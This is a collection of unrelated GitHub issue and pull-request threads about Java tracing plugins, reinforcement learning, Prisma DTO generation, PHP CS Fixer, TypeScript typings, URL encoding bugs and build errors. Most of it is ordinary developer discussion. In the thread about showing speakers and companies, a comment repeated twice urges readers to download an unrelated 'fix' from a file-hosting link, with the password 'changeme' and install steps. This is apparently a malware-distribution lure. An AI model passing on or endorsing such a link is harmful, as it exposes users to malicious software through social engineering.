The class name is "DefaultServerWebExchange".Why not strengthen him?

DefaultServerWebExchange

org.springframework.web.server.adapter.DefaultServerWebExchange is not enchance may not believe.
You can look at the real subclass in the debug window.

I know it here.I mean when you customize the filter, it doesn't seem to work here.

You can reproduce this problem in spring-cloud-gateway-version: 2.1.2.RELEASE.

Sorry, I don't seem to have a complete replacement version.

Sorry, I don't seem to have a complete replacement version.

What‘s mean? Can the current 6.4.0 source code work well?

I only replaced "spring cloud gateway"plug-in on 6.3.0.

Just now, I used the full 6.5.0 plug-in package, and this problem still exists."delegate" is not an implementation of "DefaultServerWebExchange".

    public static EnhancedInstance getInstance(Object o) {
        EnhancedInstance instance = null;
        if (o instanceof ServerWebExchangeDecorator) {
            ServerWebExchange delegate = ((ServerWebExchangeDecorator) o).getDelegate();
            if (**delegate instanceof DefaultServerWebExchange**) {
                instance = (EnhancedInstance) delegate;
            }
        } else if (o instanceof DefaultServerWebExchange) {
            instance = (EnhancedInstance) o;
        }
        return instance;
    }

There was an error in my previous description. I revised my description.

Just now, I used the full 6.5.0 plug-in package, and this problem still exists."delegate" is not an implementation of "DefaultServerWebExchange".

    public static EnhancedInstance getInstance(Object o) {
        EnhancedInstance instance = null;
        if (o instanceof ServerWebExchangeDecorator) {
            ServerWebExchange delegate = ((ServerWebExchangeDecorator) o).getDelegate();
            if (**delegate instanceof DefaultServerWebExchange**) {
                instance = (EnhancedInstance) delegate;
            }
        } else if (o instanceof DefaultServerWebExchange) {
            instance = (EnhancedInstance) o;
        }
        return instance;
    }

The delegate class name is?

org.springframework.web.server.DefaultServerWebExchangeBuilder$MutativeDecorator

org.springframework.web.server.DefaultServerWebExchangeBuilder$MutativeDecorator

I tried to recreate the scene as we discuss as
https://github.com/apache/skywalking/issues/3411#issuecomment-529321514

In my opinion, we has support this case, if you also has error, please can upload your test project to a GitHub repository instead of posting code snippets here, which should be more friendly to reviewers and we can verify your changes more easily


[Feature] Add CQL

Description
Implements the Conservative Q-Learning (CQL) objective for Offline Reinforcement Learning (https://arxiv.org/abs/2006.04779)
and adds examples for online and offline training.
Performance tested for Pendulum:

Types of changes
What types of changes does your code introduce? Remove all that do not apply:

[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds core functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[x] Documentation (update in the documentation)
[x] Example (update in the folder of examples)

Checklist
Go over all the following points, and put an x in all the boxes that apply.
If you are unsure about any of these, don't hesitate to ask. We are here to help!

[x] I have read the CONTRIBUTION guide (required)
[x] My change requires a change to the documentation.
[x] I have updated the tests accordingly (required for a bug fix or a new feature).
[x] I have updated the documentation accordingly.

I'm getting an error now regarding the in_keys of the objective, checking about that!


Implement DtoRelationCanDisconnectOnUpdate annotation

Add a "@DtoRelationCanDisconnectOnUpdate" annotation which enables to auto generate disconnect fields on the connect DTO

@Brakebein it would be super cool if you could check and merge this, thanks for you work!

Thanks! I will be able to look at it next week.

After reading the docs (https://www.prisma.io/docs/reference/api-reference/prisma-client-reference#disconnect) and playing around with the Prisma client, I found some caveats:
According to the docs, the disconnect update field is only available for optional relation fields. Hence, for the sample schema, it should not be possible to create a disconnect field for company, which is declared as a mandatory field. Though, it would be possible, for example, for the optional photo field.
prisma.product.update({
  where: { id: '123' },
  data: {
    photo: {
      disconnect: true,
    },
    company: {
      // disconnect not available
    },
  },
});

The question is, if it should be skipped automatically in this case (maybe with a warning), or if the user should be responsible to not add this annotation to the company field?
However, it seems to be possible to do it the other way round. I don't know what happens to the mandatory field then. But this should not be our problem in the scope of this generator. I was just wondering.
prisma.company.update({
  where: { id: '456' },
  data: {
    product: {
      disconnect: { id: '123' },
    },
  },
});

Adding the annotation to a relation list field produces the correct disconnect field 👍
model Photo {
  id      String    @id @default(dbgenerated("gen_random_uuid()")) @db.Uuid
  /// @DtoRelationCanDisconnectOnUpdate
  product Product[]
}

Good point, I think this is a thing the library should address! I've added a check which throws an error if a relation is required and is not a list.

Regarding the required 1:n where you disconnect from the n side: I would agree that this is beyond the scope of the generator.

Thanks for merging!
After updating to the newest version I get a slightly wrong output:
  @ApiProperty({
    type: Product,
    isArray: true,
    required: false,
    nullable: true,
    type: ConnectProductDto,
  })
  @IsOptional()
  @IsArray()
  @ValidateNested({ each: true })
  @Type(() => ConnectProductDto)
  disconnect?: ConnectProductDto[];

The type field of the @ApiProperty decorator is set twice. This did not happen before the merge, as far as I can see. Would you mind looking into this @Brakebein ? Maybe you have an idea where the issue lies. If you're short on time, hit me up again, I can also investigate but thought you might already know whats causing this, so just wanted to let you know!

I think I found the cause, I'll open a PR

https://github.com/Brakebein/prisma-generator-nestjs-dto/pull/29


Apply candidate approach

Implement #984
TODO:

[x] implement candidates
[ ] 5.3 support
[ ] add docs for new Tokens' methods and FixerInterface::isCandidate

What sort of speed improvements does this give?

Also, this is broken on php 5.3 due to you asking for traits for example.

performance grately depends on testing codebase. In my worst cases I see no difference.
Whole thing is to not doing loop over whole code if we know that there are no tokens we are looking for, and tokens that we saw in file are calculated once.
Little more idea behind this in #984

@keradus shouldn't we register the new token kind when inserting new tokens or overwriting tokens, to avoid missed candidates when a fixer performs a change ?

@keradus please update the PreIncrementFixer so that tests can pass.
Btw, should the AbstractFixer implement the method as return true to make it easier to implement new fixers (any fixer can do it and will still work, as it means you get the 1.x behavior. Making it more precise whenever possible is of course recommended as it helps improving performance)

Updated.
I thought about that but it would be easy choice to not overriding that default isCandidate: return true, that is why I deliberately do not create that method in AbstractFixer

Some tests...

Tested codebas: PHP CS Fixer, master branch

Testing using: master
209.388 seconds, 8.000 MB memory used

Testing using: 2.0-candidates
Fixed all files in 205.798 seconds, 8.000 MB memory used

Tested codebase: Symfony, 2.3 branch

Testing using: master
Fixed all files in 689.475 seconds, 12.750 MB memory used

Testing using: 2.0-candidates
Fixed all files in 582.838 seconds, 12.750 MB memory used

When using on ~complex code that uses a lot of possible syntax - almost no change.
When file is simple and for example doesn't have all OOP stuff in every one file - it is BIG improvement.
IMO it is worth to continue work on that PR.

IMO it is worth to continue work on that PR.

:+1:

5.3 support

done

@keradus shouldn't we register the new token kind when inserting new tokens or overwriting tokens, to avoid missed candidates when a fixer performs a change ?

great point, done

Docs fulfilled

Cookbook updated

:+1: :ship:

Should we add a check to AbstractFixerTestBase that after fixing all found token kinds are registered?

tests enhanced

@keradus should we introduce the overrideAt method in 1.8 to make the maintenance easier by making the code similar between the branches needing to be merged together ?

@keradus you should add tests for Tokens::isAllTokenKindsFound and Tokens::isAnyTokenKindsFound in the tokenizer testsuite

More tests added.
Tokens::overrideAt method added: #1180
IMO good to go.

:+1:

:+1:


Typescript types

Are there any plans to support typescript and add d.ts file to the project?

Yep, ts will be supported very soon, the progress can be tracked on #25

@klauscfhq awesome! my bad... did not notice opened PR. Thank you for fast answer.

Thank you for taking to suggest it! It is super ok, we can close the issue once the PR is merged and the feature delivered : )

Hey everyone,
I didn't see this issue and pull request before @kingdaro and I decided to set up some typings that are currently awaiting PR on DefinitelyTyped. We can compare our progress, and I'd be glad to contribute to PR #25 if needed.
Thanks!

Looks like its merged: https://www.npmjs.com/package/@types/signale

@chrishelgert Yes, it's merged on DefinitelyTyped, but not here. 😉

Any plans to publish the package with types? Seems like ./types exists in files but isn't on NPM.

When types are bundled with the project, you don't need to install them separately.

That's right, but these types aren't published on NPM<EMAIL_ADDRESS>

Can the types please be published on NPM? The types on https://github.com/DefinitelyTyped/DefinitelyTyped/blob/master/types/signale/index.d.ts are incomplete (currently working on a PR)


Issues with directories and certain characters.

Using 3.0.0 on NGINX with PHP 7.3.15. Any directory with #, &, and + characters returns a blank page with directory does not exist. Any files will return a 404.
Using the search function (awesome by the way!) for those characters returns results. The URL shows the encode? number for the character, ie %23 for #, but none of the results work.
I also tried this on a Windows machine and got the same results.
Thanks

Thank you, I will look into this.

I believe I've fixed this. Please download the following and test it out.
DirectoryLister-aef71d0.zip

That appears to have fixed directory browsing. I can't make it break.
Files are broken. Examples;
/TestDir/TEST.txt gives /?dir=TestDir/TEST.txt
Removing the ?dir= allows it to work.
/TestDir/Second Test/Test.txt gives /?dir=TestDir/Second+Test/TEST.txt
Removing the ?dir= and + allows it to work. Chrome auto changed the space to %20
/TestDir/Stuff & Things/Track #1 - Guilty pleasure song.txt gives /?dir=TestDir/Stuff+%26+Things/Track+%231+-+Guilty+pleasure+song.txt
Removing the ?dir= results in a 404 error.

Thanks, I noticed that and already fixed that in another updated. I'm going to try to release these fixes in the next few days.

Don't want to be a pain or know if I should open another issue, but I've tried a bunch of other special characters with the update you provided and 3.0.1
Not sure if this is some oddity with my setup or not, but everything works except filenames with spaces. This only impacts what the actual URL would be to the file.
http://coffee.is.awesome/Test Dir/Test.txt = 404
http://coffee.is.awesome/DirWithA+/Test.txt = works
Thanks again

Not a pain at all. Feel free to open another issue. I'm looking into this.


Add Lipsum extension

Description
Add Lipsum extension which generates a specified amount of Lorem Ipsum text.
Type of change

New extension

Screencast

Checklist

[x] I read the extension guidelines
[x] I read the documentation about publishing

Hi @mhogeveen 👋
Sorry for the long waiting time processing this.
Are you aware of there is already another generator doing almost what this is doing: https://www.raycast.com/AntonNiklasson/lorem-ipsum
I can see that yours differs because it's possible to select how much, but besides that it's almost identically, the approach could be opening a PR (or ask the contributor) to the existing extension if it could be added in the current, otherwise we end up with 2 identically extensions.

Hi @pernielsentikaer ,
I was aware of the current version of the Lorem Ipsum extension, but because of the different functionality I decided to build my own version. I will try to contact the contributor of the current extension of open a PR to add the functionality myself.

Hi @mhogeveen 👋
Did you get in touch with @AntonNiklasson yet in order to add extra functionality to the current extension?

Hi @pernielsentikaer,
I haven't gotten around to it yet, but it seems @AntonNiklasson has seen your message already.
@AntonNiklasson would you be willing to update you extension with the functionality that I implemented in this one?

I'm sure we can figure something out to not have two extensions this similar. Could you explain just exactly what's missing from the one I built?

@AntonNiklasson I added a couple of features:

The ability to generate words
Default is to generate 1 word, sentence or paragraph, but the user can type in a number and the generated content will be x words, sentences or paragraphs

These features add a bit more flexibility to extension.

@AntonNiklasson are you still willing to help out with some improvements?

Yes, I would like to spend some time here! I might be able to in the coming week or so.

Hey @mhogeveen! What is the status of this PR? It seems like it's been here for a long time unfinished.
Shall we probably close this one and once you're ready open another PR?

@mattisssa I have leaved this PR open as a reminder for @AntonNiklasson to update the Lorem Ipsum extension. It doesn't seem likely that will happen, so I will close this PR.

Sorry for getting back to this. I've been swamped both at work and in life.

No rush or pressure @AntonNiklasson, do you still like to add some of the suggestions?

Yes, it would be fun to get back to it.


Bug: Decide when to show the front facing speakers/company pages

Describe the bug
Currently it is possible to see the companies directly after a seed a.k.a without activating an edition. On the other side speakers do not show unless programme is released.
Should we do something like a middle ground and show companies and speakers as soon as they're approved and an edition is activated @TimKardol, @IGORnvk?
To Reproduce
Steps to reproduce the behavior:

Refresh database
Go to companies and see the companies
Log in as admin and activate edition
See that speakers still do not appear

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

It seems to no longer be an issue


Bug Report: I can't build the game on mac because of source/Note.hx:11: characters 8-33 : Type not found : polymod.format.ParseRules

Please check for duplicates or similar issues, as well performing simple troubleshooting steps (such as clearing cookies, clearing AppData, trying another browser) before submitting an issue.
If you are playing a downloaded version of the game, what operating system are you using?
Windows (x86), Windows (x86_64), Linux, or macOS? Specify below.
What version of the game are you using? Look in the bottom left corner of the main menu.
Have you identified any steps to reproduce the bug? If so, please describe them below. Use images if possible.
Please describe your issue. Provide extensive detail and images if possible.

i fixed the source code if you want it

here is the link
https://github.com/BushsHaxs/Vs-Dave-fixed

you have to install polymod to make it work

nvm i had the latest version of haxe for psych engine. now i have 4.1.5


E2e ts

Summary
Add typescript support to e2e cypress project.
Ticket Link
Hackathon idea
Screenshots
TBD
Release Note
NONE

/e2e-test

Successfully triggered e2e testing!
https://git.internal.mattermost.com/qa/cypress-ui-automation/-/pipelines/211632

/e2e-test

Successfully triggered e2e testing!
https://git.internal.mattermost.com/qa/cypress-ui-automation/-/pipelines/211643

/e2e-test

Successfully triggered e2e testing!
https://git.internal.mattermost.com/qa/cypress-ui-automation/-/pipelines/211654

/e2e-test

Successfully triggered e2e testing!
https://git.internal.mattermost.com/qa/cypress-ui-automation/-/pipelines/211659

/e2e-test

Successfully triggered e2e testing!
https://git.internal.mattermost.com/qa/cypress-ui-automation/-/pipelines/211670

/e2e-test

Successfully triggered e2e testing!
https://git.internal.mattermost.com/qa/cypress-ui-automation/-/pipelines/211710

Closing, but will leave branch for them time being as a reference for further attempts in the future.


SyntaxError: Unexpected token import

This could well be me noob'ing with babel but this shows up when I try to use your pkg (import { setupCache } from 'axios-cache-adapter') and run with nodemon server/www.js --exec babel-node, I get this error:
/Users/Jan/Sites/rssmag/node_modules/lodash-es/omit.js:1
(function (exports, require, module, __filename, __dirname) { import arrayMap from './_arrayMap.js';
                                                              ^^^^^^

SyntaxError: Unexpected token import
    at createScript (vm.js:80:10)
    at Object.runInThisContext (vm.js:139:10)
    at Module._compile (module.js:588:28)
    at Module._extensions..js (module.js:635:10)
    at Object.require.extensions.(anonymous function) [as .js] (/Users/Jan/Sites/rssmag/node_modules/babel-register/lib/node.js:152:7)
    at Module.load (module.js:545:32)
    at tryModuleLoad (module.js:508:12)
    at Function.Module._load (module.js:500:3)
    at Module.require (module.js:568:17)
    at require (internal/module.js:11:18)

Hi @janbaykara !
Thanks for reporting the bug. I'll switch to lodash instead of lodash-es for it to work in an environment without ESM support. I haven't tried running my script in nodejs very much. I definitly needs more testing.

Released a patch hoping to fix this v1.5.2